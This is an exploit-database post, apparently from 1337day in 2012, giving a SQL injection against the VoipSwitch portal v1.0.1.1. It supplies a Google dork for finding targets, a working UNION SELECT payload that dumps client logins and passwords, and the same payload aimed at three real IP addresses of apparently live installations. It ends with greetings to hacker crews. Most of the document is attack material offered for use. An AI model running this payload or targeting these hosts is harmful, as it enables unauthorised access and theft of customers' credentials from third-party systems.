# Exploit Title: [voipswitch SQL Injection Vulnerability ]

# Google Dork: [voipswitch portal v. 1.0.1.1]
# Date: [11-06-2012]
# Exploit Author: [Sc4nX] – sc4nx@yahoo.com
# Software Link: [http://webtopicture.com/download/download-voipswitch-portal-....html]
# Version: [v. 1.0.1.1]
# Tested on: [win7]

[+] Vulnerability

http://host/portal/Sites/Newses/Newses.aspx?id=[vul]

[+] Exploit

http://host/portal/Sites/Newses/Newses.aspx?id=1%20%20union%20select%201,concat%28login,char%2858%29,password,char%2858%29,account_state%29,3,4,5%20from%20clientse164–

[+] example

http://66.36.229.158/portal/Sites/Newses/Newses.aspx?id=1%20%20union%20select%201,concat%28login,char%2858%29,password,char%2858%29,account_state%29,3,4,5%20from%20clientse164–

http://209.172.57.49/portal/Sites/Newses/Newses.aspx?id=1%20%20union%20select%201,concat%28login,char%2858%29,password,char%2858%29,account_state%29,3,4,5%20from%20clientse164–

http://122.155.0.10/web/Sites/Newses/Newses.aspx?id=1%20%20union%20select%201,concat%28login,char%2858%29,password,char%2858%29,account_state%29,3,4,5%20from%20clientse164–

Gz : CodeZero – DarkMado – Mr_Spammer All Mmembers Sec4ever

# [1337day.com][1] [2012-06-11]

[1]: http://1337day.com/

Source: http://1337day.com/exploits/18568